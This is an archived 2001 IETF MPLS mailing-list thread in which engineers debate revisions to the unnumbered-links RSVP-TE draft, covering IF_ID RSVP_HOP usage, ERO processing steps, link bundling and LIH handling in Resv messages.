> If we mandate the use of IF_ID HOP for unnumbered, let me also
> suggest that we mandate the use of IF_ID HOP for link bundling,
> (thus eliminating the Implicit Indication from
> draft-ietf-mpls-bundle-00.txt).
> 
> Comments ?

I support this change.

Alan



From owner-mpls@UU.NET  Wed Oct 24 11:55:07 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04611
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 11:55:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdj17182;
	Wed, 24 Oct 2001 15:49:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdj19999
	for mpls-outgoing; Wed, 24 Oct 2001 15:49:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmdj19988
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 15:49:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdj02504
	for <mpls@uu.net>; Wed, 24 Oct 2001 15:47:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdj19812
	for <mpls@uu.net>; Wed, 24 Oct 2001 15:47:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA28588 for <mpls@uu.net>; Wed, 24 Oct 2001 11:47:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA22980 for mpls@uu.net; Wed, 24 Oct 2001 11:47:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmdj19722
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 15:45:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdj27073
	for <mpls@UU.NET>; Wed, 24 Oct 2001 15:45:13 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cnxt10002.conexant.com [198.62.10.2])
	id QQlmdj16512
	for <mpls@UU.NET>; Wed, 24 Oct 2001 15:45:31 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2653.19)
	id <VFBAYDDR>; Wed, 24 Oct 2001 11:44:47 -0400
Message-ID: <87009604743AD411B1F600508BA0F9598AD936@XOVER.dedham.mindspeed.com>
From: "Kullberg, Alan" <akullber@netplane.com>
To: "'George Swallow'" <swallow@cisco.com>, yakov@juniper.net,
        kireeti@juniper.net
Cc: mpls@UU.NET
Subject: RE: Simplification for UNNUM draft.
Date: Wed, 24 Oct 2001 11:44:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

George,

I like the change you suggest.  See 2 comments below.

Alan

> -----Original Message-----
> From: George Swallow [mailto:swallow@cisco.com]
> Sent: Tuesday, October 23, 2001 5:17 PM
> To: yakov@juniper.net; kireeti@juniper.net
> Cc: mpls@UU.NET
> Subject: Simplification for UNNUM draft.
> 
> 
> draft-ietf-mpls-rsvp-unnum-02.txt allows both the normal HOP and the
> IF_ID Hop object to be used on an unnumbered link.  This leads to
> unnecessary cases and extra checking at the incoming interface.
> 
> I suggest the following modifications:
> 
> a) mandate that one always use the IF_ID HOP object on an unnumbered
>    link.
> 
> b) pop the unnumbered interface subobject off of the ERO before
>    forwarding the Path message over the unnumbered link (the
>    information is now in the PHOP
> 
> I've updated the text in sections 6.1 and 6.2 to reflect the changed
> procedures.  If it looks a bit complicated it's only because I was
> explicit about the interactions with the processing rules of [RSVP-TE]
> where the current draft is underspecified.
> 
> Comments?
> 
> ...George
> 
> ======================================================================
> 
> 6.1. Processing the Unnumbered Interface ID Subobject
> 
>    The Unnumbered Interface ID Subobject is related to the IF_ID
>    RSVP_HOP object as follows.  Under normal (unerrored) processing,
>    an Unnumbered Interface ID Subobject is removed from the ERO by the
>    node who's router ID is contained in the object.  The link
>    specified in that object is communicated to the following node by
>    means of the IF_ID RSVP_HOP object.  The IF_ID RSVP_HOP 
> object in the
>    Path message MUST contain the same Router ID (IP Address) and
>    IF_INDEX as carried in the Unnumbered Interface ID subobject.  

If the interface identified by the Unnumbered Interface ID ER Hop is
bundled, then the last sentence causes a problem.  How about if the last
sentence is changed to:

   The IF_ID RSVP_HOP object in the
   Path message MUST contain the same Router ID (IP Address) and
   IF_INDEX as carried in the Unnumbered Interface ID subobject,
   except when the interface identified by the Unnumbered Interface
   ID subobject is bundled, in which case the IF_INDEX contains
   the component ID of the selected component.

Note that this suggestion assumes that a change will be made to
the GMPLS Signaling draft as discussed on the CCAMP mail list
starting on 9/12/01 with the subject line:
   "FW: Questions on draft-ietf-mpls-bundle-00"

Following is an excerpt from Edward Harrison's email with the above
subject dated 9/13/2001, to which there was no reply from the authors:

   Yakov,

   > > Can you clarify whether you are proposing removing the
   COMPONENT_IF_UPSTREAM
   > > TLV from the INTERFACE_ID hop object (or were you just saying that
Steve
   > > needn't use it if he doesn't want to)?
   > 
   > I am proposing to remove the COMPONENT_IF_UPSTREAM.

   In this case, am I right in thinking it makes sense to remove
   COMPONENT_IF_DOWNSTREAM too, and signal the (single) component interface
   identifier, in the IPv4, IPv6 or IF_INDEX TLV?

   We'd be interested to hear if anyone on the mailing list finds this
approach
   overly restrictive.

   Ed.

> 
> 6.1.1.  ERO processing
> 
>    The ERO processing rules of [RSVP-TE] apply with the following
>    exceptions.  In step 2 of section 4.3.4.1 if the first object is an
>    Unnumbered Interface ID subobject and the node is also part of the
>    second object abstract node and that node is loose, then a copy of
>    the first object is saved for use in step 5b before it is deleted
>    from the ERO.

Did you mean step 3 in above instead of step 2?

> 
>    In step 4, if the first subobject is an Unnumbered Interface ID
>    subobject the determination of topological adjacency is limited to
>    the interface specified in the first object.
> 
>    In step 5, if the first object is loose but the previous object
>    (saved as a result of step 2 above) is an Unnumbered Interface ID
>    object, then the selection of the next hop is determined by the
>    saved object.  
> 
>    In step 5b if the first object is an Unnumbered Interface ID
>    subobject, then the selection of the next hop is determined by the
>    saved object.
> 
> 6.1.2.  Determination of the next hop
> 
>    The next hop is determined as follows.  The
>    Interface ID in the subobject MUST refer to an outgoing interface
>    identifier that this node allocated; if not, the LSR SHOULD return
>    a "Bad EXPLICIT_ROUTE object" error. The next hop is the LSR at the
>    other end of the link that the Interface ID refers to. If this is
>    the LSR itself, the subobject is removed, and the process
>    repeated. If the next hop is some other LSR, then this is the next
>    hop to which a Path message must be sent.
> 
> 6.1.3.  Forwarding the Path message
> 
>    When sending a Path message to the next hop, the IF_ID RSVP_HOP
>    object MUST be used.  This object MUST contain the IF_INDEX TLV,
>    with IP Address in that TLV set to the LSR's Router ID, and
>    Interface ID set to the Interface ID carried which was carried in
>    the Unnumbered Interface subobject.
> 
> 6.2.  Processing the IF_ID RSVP_HOP object
> 
>    When a Path message is received containing the IF_ID RSVP_HOP
>    object with the IF_INDEX TLV, the following processing rules apply.
> 
>    The LSR checks whether the tuple <Router ID, Interface ID> from the
>    Unnumbered Interface subobject matches the tuple <Router ID,
>    Forward Interface ID> of any of the LSPs for which the LSR is a
>    tail-end. If a match is found, the match identifies the Forwarding
>    Adjacency for which the LSR has to perform label allocation.
> 
>    Otherwise, the LSR MUST check whether the tuple <Router 
> ID, Interface
>    ID> from the Unnumbered Interface subobject matches the 
> tuple <Router
>    ID, Reverse Interface ID> of any of the bidirectional LSPs 
> for which
>    the LSR is the head-end. If a match is found, the match identifies
>    the Forwarding Adjacency for which the LSR has to perform label
>    allocation, namely, the reverse Forwarding Adjacency for the LSP
>    identified by the match.
> 
>    Otherwise, the LSR must have information about the identifiers
>    assigned by its neighbors to the unnumbered links (i.e., incoming
>    interface identifiers from LSR's point of view). The LSR uses this
>    information to find a link with tuple <Router ID, incoming 
> interface
>    identifier> matching the tuple <Router ID, Interface ID> from the
>    Unnumbered Interface subobject. If the matching tuple is found, and
>    the link is not a bundled link, the match identifies the link for
>    which the LSR has to perform label allocation. If the 
> matching tuple
>    is found, and the link is a bundled link, the LSR follows the
>    procedures for label allocation as described in [LINK-BUNDLE].
> 
>    Otherwise, the LSR SHOULD return a "Bad initial subobject" error.
> 
> 
> ======================================================================
> George Swallow       Cisco Systems                   (978) 244-8143
>                      250 Apollo Drive
>                      Chelmsford, Ma 01824
> 
> 
> 



From owner-mpls@UU.NET  Wed Oct 24 12:27:10 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05402
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 12:27:10 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdl12679;
	Wed, 24 Oct 2001 16:23:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdl13029
	for mpls-outgoing; Wed, 24 Oct 2001 16:23:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmdl13024
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 16:23:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdl16777
	for <mpls@uu.net>; Wed, 24 Oct 2001 16:21:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdl19072
	for <mpls@uu.net>; Wed, 24 Oct 2001 16:21:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA03083 for <mpls@uu.net>; Wed, 24 Oct 2001 12:21:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA25005 for mpls@uu.net; Wed, 24 Oct 2001 12:21:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdl12651
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 16:16:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdl23115
	for <mpls@UU.NET>; Wed, 24 Oct 2001 16:16:18 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdl11532
	for <mpls@UU.NET>; Wed, 24 Oct 2001 16:16:37 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA02495; Wed, 24 Oct 2001 12:15:56 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id MAA12301; Wed, 24 Oct 2001 12:15:56 -0400 (EDT)
Message-Id: <200110241615.MAA12301@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: "Kullberg, Alan" <akullber@netplane.com>
cc: "'George Swallow'" <swallow@cisco.com>, yakov@juniper.net,
        kireeti@juniper.net, mpls@UU.NET, swallow@cisco.com
Subject: Re: Simplification for UNNUM draft. 
In-reply-to: Your message of "Wed, 24 Oct 2001 11:44:43 EDT."
             <87009604743AD411B1F600508BA0F9598AD936@XOVER.dedham.mindspeed.com> 
Date: Wed, 24 Oct 2001 12:15:56 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> If the interface identified by the Unnumbered Interface ID ER Hop is
> bundled, then the last sentence causes a problem.  How about if the last
> sentence is changed to:
> 
>    The IF_ID RSVP_HOP object in the
>    Path message MUST contain the same Router ID (IP Address) and
>    IF_INDEX as carried in the Unnumbered Interface ID subobject,
>    except when the interface identified by the Unnumbered Interface
>    ID subobject is bundled, in which case the IF_INDEX contains
>    the component ID of the selected component.

This is fine by me.  It's the way I suggested it last December!

> Did you mean step 3 in above instead of step 2?

Yes.  Thanks.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Wed Oct 24 12:53:03 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06204
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 12:53:01 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdn10411;
	Wed, 24 Oct 2001 16:49:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdn15222
	for mpls-outgoing; Wed, 24 Oct 2001 16:49:01 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmdn15215
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 16:48:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdn02283
	for <mpls@uu.net>; Wed, 24 Oct 2001 16:48:30 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmdn23694
	for <mpls@uu.net>; Wed, 24 Oct 2001 16:48:20 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA22398
	for <mpls@uu.net>; Wed, 24 Oct 2001 12:48:27 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA05260
	for <mpls@uu.net>; Wed, 24 Oct 2001 12:48:26 -0400 (EDT)
Message-ID: <3BD6F0EF.C3C3A40B@marconi.com>
Date: Wed, 24 Oct 2001 12:48:47 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <200110241340.f9ODeo054781@merlot.juniper.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Yakov Rekhter wrote:
> 
>> 4: Is there any way for an ingress router to compute an ERO with
>>    unnumbered links in it if GMPLS is not implemented?  It appears
>>    that support for unnumbered links was deleted from the TE
>>    versions of OSPF and ISIS, and moved into the GMPLS versions of
>>    those protocols, making the necessary information for ERO
>>    computation unavailable in an MPLS environment.
> 
> You certainly don't need to implement all the GMPLS routing and
> signaling extensions in order to support unnumbered interfaces.

Understood.  But if an ERO is to be auto-generated, and not manually
entered, the box doing the computation needs to know the topology. 
Without the unnumbered extensions in OSPF/ISIS, any topology derived
from routing will not distinguish multiple parallel unnumbered links. 
This will make it impossible to compute an ERO that uses the new ERO
subobject to specify one such link.

It wouldn't be very nice to require all of GMPLS in order to compute an
ERO that specifies unnumbered links.

I hope my explanation of this problem is clear.

-- David


From owner-mpls@UU.NET  Wed Oct 24 12:57:55 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06362
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 12:57:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdn02129;
	Wed, 24 Oct 2001 16:53:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdn15460
	for mpls-outgoing; Wed, 24 Oct 2001 16:53:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdn15455
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 16:53:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdn14664
	for <mpls@UU.NET>; Wed, 24 Oct 2001 16:51:53 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmdn18834
	for <mpls@UU.NET>; Wed, 24 Oct 2001 16:52:11 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA22745
	for <mpls@UU.NET>; Wed, 24 Oct 2001 12:51:49 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA05990
	for <mpls@UU.NET>; Wed, 24 Oct 2001 12:51:49 -0400 (EDT)
Message-ID: <3BD6F1BA.F0D23235@marconi.com>
Date: Wed, 24 Oct 2001 12:52:10 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Simplification for UNNUM draft.
References: <200110241437.KAA02279@telescope.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

> If we mandate the use of IF_ID HOP for unnumbered, let me also
> suggest that we mandate the use of IF_ID HOP for link bundling,

If we mandate the use of IF_ID HOP for unnumbered links, then the
object's definition needs to be moved into the unnumbered link draft,
since it will no longer be a GMPLS-specific object.

-- David


From owner-mpls@UU.NET  Wed Oct 24 13:41:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08190
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 13:41:54 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdq07309;
	Wed, 24 Oct 2001 17:33:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdq08146
	for mpls-outgoing; Wed, 24 Oct 2001 17:33:00 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdq08137
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 17:32:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdq17191
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:32:30 GMT
Received: from apollo.mctr.umbc.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: apollo.mctr.umbc.edu [130.85.101.89])
	id QQlmdq24736
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:32:48 GMT
Received: from mercury.mctr.umbc.edu (mercury.mctr.umbc.edu [130.85.101.142])
	by apollo.mctr.umbc.edu (8.9.3/8.9.3) with ESMTP id NAA01855;
	Wed, 24 Oct 2001 13:32:29 -0400 (EDT)
Received: from localhost (ayyangar@localhost)
	by mercury.mctr.umbc.edu (8.9.3+Sun/8.9.3) with SMTP id NAA07818;
	Wed, 24 Oct 2001 13:26:00 -0400 (EDT)
X-Authentication-Warning: mercury.mctr.umbc.edu: ayyangar owned process doing -bs
Date: Wed, 24 Oct 2001 13:25:59 -0400 (EDT)
From: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
X-Sender: ayyangar@mercury.mctr.umbc.edu
To: David Charlap <David.Charlap@marconi.com>
cc: mpls@UU.NET
Subject: Re: Questions on unnumbered links
In-Reply-To: <3BD60D94.9B7E9765@marconi.com>
Message-ID: <Pine.GSO.3.95.1011024132130.7008B-100000@mercury.mctr.umbc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,


> 3: If the IF_ID RSVP_HOP object is what I think it is (a new C-Type
>    for specifying an unnumbered link in the HOP object), why is it
>    necessary?  The existing HOP object already has a field for LIH,
>    which appears to have the same functionality as the interface ID
>    field in the new ERO/RRO subobjects.
-------> I guess the main reason this idea was dropped was because the LIH
coming in the RSVP_HOP Obj in the Path msg needs to be reflected back in
the RSVP-HOP Obj in the Resv. If this field is going to be changed during
the Resv then it is a problem.

-arthi



> 4: Is there any way for an ingress router to compute an ERO with
>    unnumbered links in it if GMPLS is not implemented?  It appears
>    that support for unnumbered links was deleted from the TE versions
>    of OSPF and ISIS, and moved into the GMPLS versions of those
>    protocols, making the necessary information for ERO computation
>    unavailable in an MPLS environment.
> 
> -- David
> 



From owner-mpls@UU.NET  Wed Oct 24 13:48:40 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08610
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 13:48:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdq09421;
	Wed, 24 Oct 2001 17:41:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdq08726
	for mpls-outgoing; Wed, 24 Oct 2001 17:40:56 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdq08721
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 17:40:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdq06132
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:40:35 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmdq19313
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:40:24 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA28075
	for <mpls@UU.NET>; Wed, 24 Oct 2001 13:40:31 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA22139
	for <mpls@UU.NET>; Wed, 24 Oct 2001 13:40:31 -0400 (EDT)
Message-ID: <3BD6FD24.698C4F1C@marconi.com>
Date: Wed, 24 Oct 2001 13:40:52 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <Pine.GSO.3.95.1011024132130.7008B-100000@mercury.mctr.umbc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Arthi Ayyangar wrote:
>> 
>> 3: If the IF_ID RSVP_HOP object is what I think it is (a new C-Type
>>    for specifying an unnumbered link in the HOP object), why is it
>>    necessary?  The existing HOP object already has a field for LIH,
>>    which appears to have the same functionality as the interface ID
>>    field in the new ERO/RRO subobjects.
>
> I guess the main reason this idea was dropped was because the LIH
> coming in the RSVP_HOP Obj in the Path msg needs to be reflected
> back in the RSVP-HOP Obj in the Resv. If this field is going to be
> changed during the Resv then it is a problem.

Since when does a Resv message reflect back the HOP object received in a
Path???

The HOP object in a Resv message identifies the interface on the
downstream router that the Resv mesage is being sent from.  This is not
the same as the the HOP object from the corresponding Path message,
which identifies the interface on the upstream router that the Path
message is being sent from.

When links are numbered, these two objects will have different values. 
They will similarly have different values when the links are unnumbered.

-- David


From owner-mpls@UU.NET  Wed Oct 24 13:56:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09105
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 13:56:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdr23669;
	Wed, 24 Oct 2001 17:49:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdr09381
	for mpls-outgoing; Wed, 24 Oct 2001 17:48:49 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmdr09376
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 17:48:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdr17338
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:48:34 GMT
Received: from apollo.mctr.umbc.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: apollo.mctr.umbc.edu [130.85.101.89])
	id QQlmdr22847
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:48:53 GMT
Received: from mercury.mctr.umbc.edu (mercury.mctr.umbc.edu [130.85.101.142])
	by apollo.mctr.umbc.edu (8.9.3/8.9.3) with ESMTP id NAA03034;
	Wed, 24 Oct 2001 13:48:33 -0400 (EDT)
Received: from localhost (ayyangar@localhost)
	by mercury.mctr.umbc.edu (8.9.3+Sun/8.9.3) with SMTP id NAA08351;
	Wed, 24 Oct 2001 13:42:04 -0400 (EDT)
X-Authentication-Warning: mercury.mctr.umbc.edu: ayyangar owned process doing -bs
Date: Wed, 24 Oct 2001 13:42:04 -0400 (EDT)
From: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
X-Sender: ayyangar@mercury.mctr.umbc.edu
To: David Charlap <David.Charlap@marconi.com>
cc: mpls@UU.NET
Subject: Re: Questions on unnumbered links
In-Reply-To: <3BD6FD24.698C4F1C@marconi.com>
Message-ID: <Pine.GSO.3.95.1011024133938.7008D-100000@mercury.mctr.umbc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

> Since when does a Resv message reflect back the HOP object received in a
> Path???
----> Not the addr but the LIH in the HOP needs to be reflected back.

"
 1.   When a node N forwards a Path message out a logical outgoing
           interface L, it includes in the message some encoding of the
           identity of L, called the "logical interface handle" or LIH.
           The LIH value is carried in the RSVP_HOP object.

      2.   The next hop node N' stores the LIH value in its path state.<<<

      3.   When N' sends a Resv message to N, it includes the LIH value
           from the path state (again, in the RSVP_HOP object).
	<<<<<<

      4.   When the Resv message arrives at N, its LIH value provides
           the information necessary to attach the reservation to the
           appropriate logical interface.  Note that N creates and
           interprets the LIH; it is an opaque value to N'.

"
-arthi

